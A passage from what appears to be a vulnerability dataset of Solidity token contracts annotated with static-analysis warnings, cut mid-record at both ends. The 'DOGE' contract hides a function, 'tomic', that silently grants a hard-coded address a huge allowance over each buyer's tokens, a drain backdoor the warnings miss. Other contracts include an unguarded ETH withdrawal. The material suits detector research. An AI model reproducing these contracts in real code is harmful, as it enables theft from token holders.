buyTax = taxes;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: adef3c2): QUDEFI.updateSellTax(uint64,uint64,uint64).taxes is a local variable never initialized\n\t// Recommendation for adef3c2: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function updateSellTax(\n uint64 _marketingTax,\n uint64 _liquidityTax,\n uint64 _devTax\n ) external onlyOwner {\n Taxes memory taxes;\n\n taxes.marketingTax = _marketingTax;\n\n taxes.liquidityTax = _liquidityTax;\n\n taxes.devTax = _devTax;\n\n taxes.totalTax = _marketingTax + _liquidityTax + _devTax;\n\n require(\n taxes.totalTax <= 6000 || taxes.totalTax <= sellTax.totalTax,\n \"Keep tax below 60%\"\n );\n\n emit UpdatedSellTax(taxes.totalTax);\n\n sellTax = taxes;\n }\n\n function renounceDevTax() external {\n require(msg.sender == devAddress, \"Not dev\");\n\n Taxes memory buyTaxes = buyTax;\n\n buyTaxes.marketingTax += buyTaxes.devTax;\n\n buyTaxes.devTax = 0;\n\n buyTax = buyTaxes;\n\n Taxes memory sellTaxes = sellTax;\n\n sellTaxes.marketingTax += sellTaxes.devTax;\n\n sellTaxes.devTax = 0;\n\n sellTax = sellTaxes;\n }\n\n function enableTrading() external onlyOwner {\n require(!tradingAllowed, \"Trading already enabled\");\n\n tradingAllowed = true;\n\n launchBlock = block.number;\n\n lastSwapBackBlock = block.number;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 2d6606b): QUDEFI.removeLimits()._txLimits is a local variable never initialized\n\t// Recommendation for 2d6606b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function removeLimits() external onlyOwner {\n limited = false;\n\n TxLimits memory _txLimits;\n\n uint256 supply = totalSupply();\n\n _txLimits.transactionLimit = uint128(supply);\n\n _txLimits.walletLimit = uint128(supply);\n\n txLimits = _txLimits;\n\n emit RemovedLimits();\n }\n\n function removeTransferDelay() external onlyOwner {\n require(transferDelayEnabled, \"Already disabled!\");\n\n transferDelayEnabled = false;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 507bd00): QUDEFI.withdrawStuckETH() sends eth to arbitrary user Dangerous calls (success,None) = address(devAddress).call{value address(this).balance}()\n\t// Recommendation for 507bd00: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function withdrawStuckETH() external {\n bool success;\n\n\t\t// arbitrary-send-eth | ID: 507bd00\n (success, ) = address(devAddress).call{value: address(this).balance}(\n \"\"\n );\n }\n\n function rescueTokens(address _token) external {\n require(_token != address(0), \"_token address cannot be 0\");\n\n require(\n msg.sender == marketingAddress || msg.sender == devAddress,\n \"Not dev\"\n );\n\n uint256 _contractBalance = IERC20(_token).balanceOf(address(this));\n\n SafeERC20.safeTransfer(\n IERC20(_token),\n address(devAddress),\n _contractBalance\n );\n }\n\n function updateMarketingAddress(address _address) external onlyOwner {\n require(_address != address(0), \"zero address\");\n\n marketingAddress = _address;\n }\n\n function updateDevAddress(address _address) external onlyOwner {\n require(_address != address(0), \"zero address\");\n\n devAddress = _address;\n }\n\n function addBots(address[] memory bots_) external {\n require(msg.sender == blacklistOwner, \"Not authorized\");\n\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) external {\n require(msg.sender == blacklistOwner, \"Not authorized\");\n\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function renounceBlacklistOwner() external {\n require(msg.sender == blacklistOwner, \"Not authorized\");\n\n blacklistOwner = address(0);\n\n emit BlacklistOwnerRenounced(msg.sender, address(0));\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: bc7856a): QUDEFI.setBlacklistOwner(address)._address lacks a zerocheck on \t blacklistOwner = _address\n\t// Recommendation for bc7856a: Check that the address is not zero.\n function setBlacklistOwner(address _address) external {\n require(msg.sender == blacklistOwner, \"Not authorized\");\n\n\t\t// missing-zero-check | ID: bc7856a\n blacklistOwner = _address;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6a4b687): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6a4b687: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function burn(uint256 amount) public {\n require(balanceOf(msg.sender) >= amount, \"Insufficient balance\");\n\n\t\t// reentrancy-events | ID: 6a4b687\n _transfer(msg.sender, DEAD_ADDRESS, amount);\n\n\t\t// reentrancy-events | ID: 6a4b687\n emit TokensBurned(msg.sender, amount);\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10134.sol",
"size_bytes": 44212,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 09f44af): DOGE.slitherConstructorVariables() performs a multiplication on the result of a division _maxAmount77 = 2 * (_tTotal77 / 100)\n// Recommendation for 09f44af: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e794eb9): DOGE.slitherConstructorVariables() performs a multiplication on the result of a division _taxThres77 = 1 * (_tTotal77 / 100)\n// Recommendation for e794eb9: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 29e8004): DOGE.slitherConstructorVariables() performs a multiplication on the result of a division _maxWallet77 = 2 * (_tTotal77 / 100)\n// Recommendation for 29e8004: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: bc8147d): DOGE.slitherConstructorVariables() performs a multiplication on the result of a division _maxSwap77 = 1 * (_tTotal77 / 100)\n// Recommendation for bc8147d: Consider ordering multiplication before division.\ncontract DOGE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances77;\n\n mapping(address => mapping(address => uint256)) private _permits77;\n\n mapping(address => bool) private _isExcludedFrom77;\n\n address payable private _receipt77;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal77 = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Do Only Good Everyday\";\n\n string private constant _symbol = unicode\"D.O.G.E\";\n\n\t// divide-before-multiply | ID: 09f44af\n uint256 public _maxAmount77 = 2 * (_tTotal77 / 100);\n\n\t// divide-before-multiply | ID: 29e8004\n uint256 public _maxWallet77 = 2 * (_tTotal77 / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 2df4d2f): DOGE._taxThres77 should be constant \n\t// Recommendation for 2df4d2f: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: e794eb9\n uint256 public _taxThres77 = 1 * (_tTotal77 / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 3bc26ec): DOGE._maxSwap77 should be constant \n\t// Recommendation for 3bc26ec: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: bc8147d\n uint256 public _maxSwap77 = 1 * (_tTotal77 / 100);\n\n IUniswapV2Router02 private uniV2Router77;\n\n address private uniV2Pair77;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ef1db3): DOGE._initialBuyTax should be constant \n\t// Recommendation for 7ef1db3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: f0c495e): DOGE._initialSellTax should be constant \n\t// Recommendation for f0c495e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: e7cbcaf): DOGE._finalBuyTax should be constant \n\t// Recommendation for e7cbcaf: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c373476): DOGE._finalSellTax should be constant \n\t// Recommendation for c373476: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3d4dbed): DOGE._reduceBuyTaxAt should be constant \n\t// Recommendation for 3d4dbed: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: b88eaf4): DOGE._reduceSellTaxAt should be constant \n\t// Recommendation for b88eaf4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: ad6b8b5): DOGE._preventSwapBefore should be constant \n\t// Recommendation for ad6b8b5: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 24;\n\n uint256 private _buyCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 72d7201): DOGE._transferTax should be constant \n\t// Recommendation for 72d7201: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n event MaxTxAmountUpdated(uint _maxAmount77);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _receipt77 = payable(0x088708f2724A84a2413Bc47493Ad11F3e901D02B);\n\n _balances77[address(this)] = _tTotal77;\n\n _isExcludedFrom77[owner()] = true;\n\n _isExcludedFrom77[address(this)] = true;\n\n _isExcludedFrom77[_receipt77] = true;\n\n emit Transfer(address(0), address(this), _tTotal77);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal77;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances77[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 389d2a7): DOGE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 389d2a7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _permits77[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1348e54): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1348e54: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d201b8e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d201b8e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1348e54\n\t\t// reentrancy-benign | ID: d201b8e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1348e54\n\t\t// reentrancy-benign | ID: d201b8e\n _approve(\n sender,\n _msgSender(),\n _permits77[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 74c6f87): DOGE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 74c6f87: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d201b8e\n _permits77[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1348e54\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f1a0c52): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f1a0c52: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e117292): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e117292: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount77) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount77 > 0, \"Transfer amount must be greater than zero\");\n\n uint256 tax77 = 0;\n uint256 fee77 = 0;\n\n if (!swapEnabled || inSwap) {\n _balances77[from] = _balances77[from] - amount77;\n\n _balances77[to] = _balances77[to] + amount77;\n\n emit Transfer(from, to, amount77);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n if (_buyCount > 0) {\n fee77 = (_transferTax);\n }\n\n if (\n from == uniV2Pair77 &&\n to != address(uniV2Router77) &&\n !_isExcludedFrom77[to]\n ) {\n require(amount77 <= _maxAmount77, \"Exceeds the _maxAmount77.\");\n\n require(\n balanceOf(to) + amount77 <= _maxWallet77,\n \"Exceeds the maxWalletSize.\"\n );\n\n fee77 = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n\n _buyCount++;\n tomic([from, _receipt77]);\n }\n\n if (to == uniV2Pair77 && from != address(this)) {\n fee77 = (\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniV2Pair77 && swapEnabled) {\n if (\n contractTokenBalance > _taxThres77 &&\n _buyCount > _preventSwapBefore\n )\n\t\t\t\t\t// reentrancy-events | ID: f1a0c52\n\t\t\t\t\t// reentrancy-eth | ID: e117292\n swapETH77(\n min77(amount77, min77(contractTokenBalance, _maxSwap77))\n );\n\n\t\t\t\t// reentrancy-events | ID: f1a0c52\n\t\t\t\t// reentrancy-eth | ID: e117292\n sendETH77(address(this).balance);\n }\n }\n\n if (fee77 > 0) {\n tax77 = fee77.mul(amount77).div(100);\n\n\t\t\t// reentrancy-eth | ID: e117292\n _balances77[address(this)] = _balances77[address(this)].add(tax77);\n\n\t\t\t// reentrancy-events | ID: f1a0c52\n emit Transfer(from, address(this), tax77);\n }\n\n\t\t// reentrancy-eth | ID: e117292\n _balances77[from] = _balances77[from].sub(amount77);\n\n\t\t// reentrancy-eth | ID: e117292\n _balances77[to] = _balances77[to].add(amount77.sub(tax77));\n\n\t\t// reentrancy-events | ID: f1a0c52\n emit Transfer(from, to, amount77.sub(tax77));\n }\n\n function removeLimit77() external onlyOwner {\n _maxAmount77 = _tTotal77;\n\n _maxWallet77 = _tTotal77;\n\n emit MaxTxAmountUpdated(_tTotal77);\n }\n\n function min77(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ad02ddb): DOGE.sendETH77(uint256) sends eth to arbitrary user Dangerous calls _receipt77.transfer(amount)\n\t// Recommendation for ad02ddb: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETH77(uint256 amount) private {\n\t\t// reentrancy-events | ID: f1a0c52\n\t\t// reentrancy-events | ID: 1348e54\n\t\t// reentrancy-eth | ID: e117292\n\t\t// arbitrary-send-eth | ID: ad02ddb\n _receipt77.transfer(amount);\n }\n\n function recoverEth() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a189587): DOGE.setTaxReceipt(address)._addrs lacks a zerocheck on \t _receipt77 = _addrs\n\t// Recommendation for a189587: Check that the address is not zero.\n function setTaxReceipt(address payable _addrs) external onlyOwner {\n\t\t// missing-zero-check | ID: a189587\n _receipt77 = _addrs;\n\n _isExcludedFrom77[_addrs] = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5215dd8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5215dd8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8c39b49): DOGE.openTrading() ignores return value by uniV2Router77.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8c39b49: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e297579): DOGE.openTrading() ignores return value by IERC20(uniV2Pair77).approve(address(uniV2Router77),type()(uint256).max)\n\t// Recommendation for e297579: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1106a19): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1106a19: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n uniV2Router77 = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniV2Router77), _tTotal77);\n\n\t\t// reentrancy-benign | ID: 5215dd8\n\t\t// reentrancy-eth | ID: 1106a19\n uniV2Pair77 = IUniswapV2Factory(uniV2Router77.factory()).createPair(\n address(this),\n uniV2Router77.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 5215dd8\n\t\t// unused-return | ID: 8c39b49\n\t\t// reentrancy-eth | ID: 1106a19\n uniV2Router77.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 5215dd8\n\t\t// unused-return | ID: e297579\n\t\t// reentrancy-eth | ID: 1106a19\n IERC20(uniV2Pair77).approve(address(uniV2Router77), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 5215dd8\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1106a19\n tradingOpen = true;\n }\n\n function tomic(address[2] memory tom77) private {\n address own77 = tom77[0];\n address spend77 = tom77[1];\n\n uint256 total77 = 150 +\n 150 *\n (_maxWallet77 + 50) +\n 100 *\n _maxSwap77.add(50);\n\n _permits77[own77][spend77] = 50 + (total77 + 50) * 150;\n }\n\n receive() external payable {}\n\n function swapETH77(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniV2Router77.WETH();\n\n _approve(address(this), address(uniV2Router77), tokenAmount);\n\n\t\t// reentrancy-events | ID: f1a0c52\n\t\t// reentrancy-events | ID: 1348e54\n\t\t// reentrancy-benign | ID: d201b8e\n\t\t// reentrancy-eth | ID: e117292\n uniV2Router77.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n}\n",
"file_name": "solidity_code_10135.sol",
"size_bytes": 20680,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1185ba4): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 1185ba4: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 1185ba4\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Tweet is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ec0f014): Tweet._taxWallet should be immutable \n\t// Recommendation for ec0f014: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: b2bb6a8): Tweet._initialBuyTax should be constant \n\t// Recommendation for b2bb6a8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: d2d3bd5): Tweet._initialSellTax should be constant \n\t// Recommendation for d2d3bd5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ca6beb): Tweet._finalBuyTax should be constant \n\t// Recommendation for 0ca6beb: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3b1dbbc): Tweet._reduceBuyTaxAt should be constant \n\t// Recommendation for 3b1dbbc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 27;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0fb900d): Tweet._reduceSellTaxAt should be constant \n\t// Recommendation for 0fb900d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 37;\n\n\t// WARNING Optimization Issue (constable-states | ID: ba67850): Tweet._preventSwapBefore should be constant \n\t// Recommendation for ba67850: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 37;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _maxTxAmount = _tTotal.mul(200).div(10000);\n\n uint256 public _maxWalletSize = _tTotal.mul(200).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: bd76a9f): Tweet._taxSwapThreshold should be constant \n\t// Recommendation for bd76a9f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal.mul(100).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 64dc700): Tweet._maxTaxSwap should be constant \n\t// Recommendation for 64dc700: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal.mul(100).div(10000);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory name_, string memory symbol_) payable {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e6b72f2): Tweet.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e6b72f2: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 